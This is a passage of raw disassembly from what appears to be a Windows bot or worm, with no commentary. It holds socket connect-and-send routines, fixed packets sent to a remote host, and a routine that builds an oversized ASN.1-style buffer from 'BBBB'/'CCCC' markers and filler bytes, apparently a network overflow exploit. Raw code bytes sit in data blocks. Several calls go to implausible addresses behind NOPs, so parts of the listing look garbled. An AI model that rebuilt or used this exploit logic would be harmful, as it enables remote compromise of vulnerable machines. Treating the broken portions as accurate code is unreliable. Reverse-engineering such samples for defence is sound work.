		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 268086Bh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4373EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4D0970[eax*8]
		push	eax
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4373AC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4D0974[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4D2970
		call	near ptr 26E086Eh
		nop

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4D0974[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4D0824
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4D08A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_44376C[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4D08B0
		push	eax
		mov	edi, offset dword_4D3334
		push	offset dword_43748C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4D08BC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 8B015FFh, 8D50004Dh, 0FFFECC85h
		dd 74B468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 35600500h, 0E8500044h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2273963h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 41A1E8FCh, 0FF900225h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4D074Ch
		dd 45895040h, 2015FF08h, 89004D08h, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0B015FFE4h, 50004D08h, 0FED0858Dh, 868FFFFh
		dd 50004375h, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 60050000h,	50004435h, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 273872E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0B0E80875h, 90022540h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0B015FFE4h, 50004D08h, 0FED0858Dh, 0DC68FFFFh
		dd 50004374h, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4D06DC
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4321F8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_437540
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_437548
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_4378C0
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_43754C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_4378B4
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_4378B0
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset a0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_4378A4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_43789F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4D083C

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4D0820
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4D0874
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4375DC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43760C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4D353C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_437554
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_437618
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
